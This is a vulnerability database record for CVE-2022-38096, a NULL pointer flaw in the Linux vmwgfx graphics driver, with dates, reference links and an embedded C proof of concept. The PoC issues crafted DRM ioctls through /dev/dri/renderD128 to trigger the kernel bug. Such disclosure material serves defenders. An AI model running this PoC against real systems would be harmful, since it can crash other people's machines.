CVE-2022-38096
Vulnerability from cvelistv5
Published
2022-09-09 14:39
Modified
2024-09-16 19:46
Severity ?
EPSS score ?
Summary
There is a NULL pointer vulnerability in vmwgfx driver
References
| ▼ | URL | Tags | |
|---|---|---|---|
| security@openanolis.org | https://bugzilla.openanolis.cn/show_bug.cgi?id=2073 | Issue Tracking, Permissions Required | |
| security@openanolis.org | https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html |
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"value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n {\n printf(\"open tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n \n}\nvoid poc(int sid){ \nint cmd[0x1000]={0};\ncmd[0]=1165;\ncmd[1]=0x50;\ncmd[2]=0x0;\ncmd[3]=0x0;\ncmd[4]=-1;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2; \n\targ.context_handle=sid;\n if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[0]; \n}\n\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[2]; \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint cid=alloc_context(); \n printf(\"%d\",cid); \n poc(cid); \n \n}"
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